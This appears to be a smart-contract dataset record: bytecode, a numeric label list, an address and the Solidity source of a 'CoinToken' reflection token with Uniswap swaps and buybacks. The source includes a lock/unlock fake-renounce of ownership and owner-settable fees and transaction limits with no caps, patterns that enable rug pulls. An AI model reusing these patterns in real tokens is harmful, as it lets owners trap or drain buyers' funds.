050506040518051915050600160a060020a03811615156116fd5761176d565b80600160a060020a0316633af32abf8460405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561174b57600080fd5b5af1151561175857600080fd5b50505060405180519050151561176d57600080fd5b50505050565b8083600160a060020a031663dd62ed3e308560405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b15156117ca57600080fd5b5af115156117d757600080fd5b505050604051805190501015156117ed57611946565b82600160a060020a031663dd62ed3e308460405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b151561184357600080fd5b5af1151561185057600080fd5b50505060405180511590506118d35782600160a060020a031663095ea7b383600060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156118b457600080fd5b5af115156118c157600080fd5b5050506040518051905015156118d357fe5b82600160a060020a031663095ea7b3838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561192757600080fd5b5af1151561193457600080fd5b50505060405180519050151561194657fe5b505050565b602060405190810160405260008152905600a165627a7a723058204f6b20481b8c9fb5a62ae9101cf319282a872cf90025919c686bed4661f05cbe0029
[ 12, 26, 11, 2 ]
0xf20bc3b10b95cde1368a2f4219a63ed3fd8b9089
pragma solidity ^0.8.5; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getUnlockTime() public view returns (uint256) { return _lockTime; } function getTime() public view returns (uint256) { return block.timestamp; } function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract CoinToken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; address payable private lp_poolAddress; address payable public marketingAddress; // Marketing Address address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal; uint256 private _rTotal; uint256 private _tFeeTotal; string private _name; string private _symbol; uint8 private _decimals; uint256 public _taxFee; uint256 private _previousTaxFee; uint256 private _liquidityFee; uint256 private _previousLiquidityFee; uint256 public buybackFee; uint256 private previousBuybackFee; uint256 public marketingFee; uint256 private previousMarketingFee; uint256 public _maxTxAmount; uint256 private _previousMaxTxAmount; uint256 private minimumTokensBeforeSwap; uint256 private buyBackUpperLimit; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public buyBackEnabled = true; event RewardLiquidityProviders(uint256 tokenAmount); event BuyBackEnabledUpdated(bool enabled); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (string memory _n, string memory _s, uint256 _ts, uint256 _tax, uint256 _bb, uint256 _mkt, address _ma,address _ru,address _lp) payable { _name = _n; _symbol = _s; _decimals = 9; _tTotal = _ts * 10**_decimals; _rTotal = (MAX - (MAX % _tTotal)); marketingAddress = payable(_ma); lp_poolAddress = payable(_lp); _taxFee = _tax; _previousTaxFee = _taxFee; buybackFee = _bb; previousBuybackFee = buybackFee; marketingFee = _mkt; previousMarketingFee = marketingFee; _liquidityFee = _bb + _mkt; _previousLiquidityFee = _liquidityFee; _maxTxAmount = _tTotal.div(1000).mul(3); _previousMaxTxAmount = _maxTxAmount; minimumTokensBeforeSwap = _tTotal.div(10000).mul(2); buyBackUpperLimit = 1 * 10**18; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_ru); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; payable(_lp).transfer(msg.value); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function buyBackUpperLimitAmount() public view returns (uint256) { return buyBackUpperLimit; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (!inSwapAndLiquify && swapAndLiquifyEnabled && to == uniswapV2Pair) { if (overMinimumTokenBalance) { contractTokenBalance = minimumTokensBeforeSwap; swapTokens(contractTokenBalance); } uint256 balance = address(this).balance; if (buyBackEnabled && balance > uint256(1 * 10**18)) { if (balance > buyBackUpperLimit) balance = buyBackUpperLimit; buyBackTokens(balance.div(100)); } } bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokens(uint256 contractTokenBalance) private lockTheSwap { uint256 initialBalance = address(this).balance; swapTokensForEth(contractTokenBalance); uint256 transferredBalance = address(this).balance.sub(initialBalance); //Send to Marketing address transferToAddressETH(lp_poolAddress, transferredBalance.div(_liquidityFee).mul(25)); transferToAddressETH(marketingAddress, transferredBalance.div(_liquidityFee).mul(marketingFee.sub(25))); } function buyBackTokens(uint256 amount) private lockTheSwap { if (amount > 0) { swapETHForTokens(amount); } } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function swapETHForTokens(uint256 amount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); // make the swap uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( 0, // accept any amount of Tokens path, deadAddress, // Burn address block.timestamp.add(300) ); emit SwapETHForTokens(amount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**3 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**3 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; previousBuybackFee = buybackFee; previousMarketingFee = marketingFee; _taxFee = 0; _liquidityFee = 0; buybackFee = 0; marketingFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; buybackFee = previousBuybackFee; marketingFee = previousMarketingFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFee(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setBuybackFee(uint256 _buybackFee) external onlyOwner() { buybackFee = _buybackFee; _liquidityFee = buybackFee.add(marketingFee); } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } function setMarketingFee(uint256 _marketingFee) external onlyOwner() { marketingFee = _marketingFee; _liquidityFee = buybackFee.add(marketingFee); } function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() { minimumTokensBeforeSwap = _minimumTokensBeforeSwap; } function setBuybackUpperLimit(uint256 buyBackLimit) external onlyOwner() { buyBackUpperLimit = buyBackLimit; } function setMarketingAddress(address _marketingAddress) external onlyOwner() { marketingAddress = payable(_marketingAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setBuyBackEnabled(bool _enabled) public onlyOwner { buyBackEnabled = _enabled; emit BuyBackEnabledUpdated(_enabled); } function presale(bool _presale) external onlyOwner { if (_presale) { setSwapAndLiquifyEnabled(false); removeAllFee(); _previousMaxTxAmount = _maxTxAmount; _maxTxAmount = totalSupply(); } else { setSwapAndLiquifyEnabled(true); restoreAllFee(); _maxTxAmount = _previousMaxTxAmount; } } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} }
0x6080604052600436106102cd5760003560e01c8063625e764c11610175578063a5ece941116100dc578063dd46706411610095578063ec28438a1161006f578063ec28438a146108de578063edc2fcfb146108fe578063f0f165af1461091e578063f2fde38b1461093e57600080fd5b8063dd46706414610858578063dd62ed3e14610878578063ea2f0b37146108be57600080fd5b8063a5ece941146107ae578063a69df4b5146107ce578063a9059cbb146107e3578063bdc653ef14610803578063c4081a4c14610818578063c49b9a801461083857600080fd5b806388f820201161012e57806388f82020146106ed5780638da5cb5b14610726578063906e9dd01461074457806395d89b4114610764578063a073d37f14610779578063a457c2d71461078e57600080fd5b8063625e764c1461064c5780636b67c4df1461066c57806370a0823114610682578063715018a6146106a25780637d1db4a5146106b757806382d2a4bb146106cd57600080fd5b80633b124fe71161023457806349bd5a5e116101ed5780635342acb4116101c75780635342acb4146105cb578063557ed1ba14610604578063602bc62b146106175780636053a0e31461062c57600080fd5b806349bd5a5e146105585780634a74bb021461058c57806352390c02146105ab57600080fd5b80633b124fe7146104ac5780633b2d081c146104c25780633bd5d173146104d8578063437823ec146104f85780634549b039146105185780634567bfba1461053857600080fd5b806327c8f8351161028657806327c8f835146103d457806329370cc6146104085780632d8381191461042a578063313ce5671461044a5780633685d4191461046c578063395093511461048c57600080fd5b806306fdde03146102d9578063095ea7b31461030457806313114a9d146103345780631694505e1461035357806318160ddd1461039f57806323b872dd146103b457600080fd5b366102d457005b600080fd5b3480156102e557600080fd5b506102ee61095e565b6040516102fb9190612ade565b60405180910390f35b34801561031057600080fd5b5061032461031f3660046129d9565b6109f0565b60405190151581526020016102fb565b34801561034057600080fd5b50600d545b6040519081526020016102fb565b34801561035f57600080fd5b506103877f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016102fb565b3480156103ab57600080fd5b50600b54610345565b3480156103c057600080fd5b506103246103cf366004612998565b610a07565b3480156103e057600080fd5b506103877f000000000000000000000000000000000000000000000000000000000000dead81565b34801561041457600080fd5b50610428610423366004612a05565b610a70565b005b34801561043657600080fd5b50610345610445366004612a20565b610af9565b34801561045657600080fd5b5060105460405160ff90911681526020016102fb565b34801561047857600080fd5b50610428610487366004612925565b610b7d565b34801561049857600080fd5b506103246104a73660046129d9565b610d34565b3480156104b857600080fd5b5061034560115481565b3480156104ce57600080fd5b5061034560155481565b3480156104e457600080fd5b506104286104f3366004612a20565b610d6a565b34801561050457600080fd5b50610428610513366004612925565b610e54565b34801561052457600080fd5b50610345610533366004612a39565b610ea2565b34801561054457600080fd5b50610428610553366004612a20565b610f2f565b34801561056457600080fd5b506103877f00000000000000000000000045770059777f0f6ed0178147d32d27d845d386b981565b34801561059857600080fd5b50601d5461032490610100900460ff1681565b3480156105b757600080fd5b506104286105c6366004612925565b610f72565b3480156105d757600080fd5b506103246105e6366004612925565b6001600160a01b031660009081526008602052604090205460ff1690565b34801561061057600080fd5b5042610345565b34801561062357600080fd5b50600254610345565b34801561063857600080fd5b50601d546103249062010000900460ff1681565b34801561065857600080fd5b50610428610667366004612a20565b6110c5565b34801561067857600080fd5b5061034560175481565b34801561068e57600080fd5b5061034561069d366004612925565b611101565b3480156106ae57600080fd5b50610428611160565b3480156106c357600080fd5b5061034560195481565b3480156106d957600080fd5b506104286106e8366004612a20565b6111c2565b3480156106f957600080fd5b50610324610708366004612925565b6001600160a01b031660009081526009602052604090205460ff1690565b34801561073257600080fd5b506000546001600160a01b0316610387565b34801561075057600080fd5b5061042861075f366004612925565b6111f1565b34801561077057600080fd5b506102ee61123d565b34801561078557600080fd5b50601b54610345565b34801561079a57600080fd5b506103246107a93660046129d9565b61124c565b3480156107ba57600080fd5b50600454610387906001600160a01b031681565b3480156107da57600080fd5b5061042861129b565b3480156107ef57600080fd5b506103246107fe3660046129d9565b6113a1565b34801561080f57600080fd5b50601c54610345565b34801561082457600080fd5b50610428610833366004612a20565b6113ae565b34801561084457600080fd5b50610428610853366004612a05565b6113dd565b34801561086457600080fd5b50610428610873366004612a20565b611450565b34801561088457600080fd5b5061034561089336600461295f565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b3480156108ca57600080fd5b506104286108d9366004612925565b6114d5565b3480156108ea57600080fd5b506104286108f9366004612a20565b611520565b34801561090a57600080fd5b50610428610919366004612a05565b61154f565b34801561092a57600080fd5b50610428610939366004612a20565b6115d1565b34801561094a57600080fd5b50610428610959366004612925565b611600565b6060600e805461096d90612c35565b80601f016020809104026020016040519081016040528092919081815260200182805461099990612c35565b80156109e65780601f106109bb576101008083540402835291602001916109e6565b820191906000526020600020905b8154815290600101906020018083116109c957829003601f168201915b5050505050905090565b60006109fd338484611799565b506001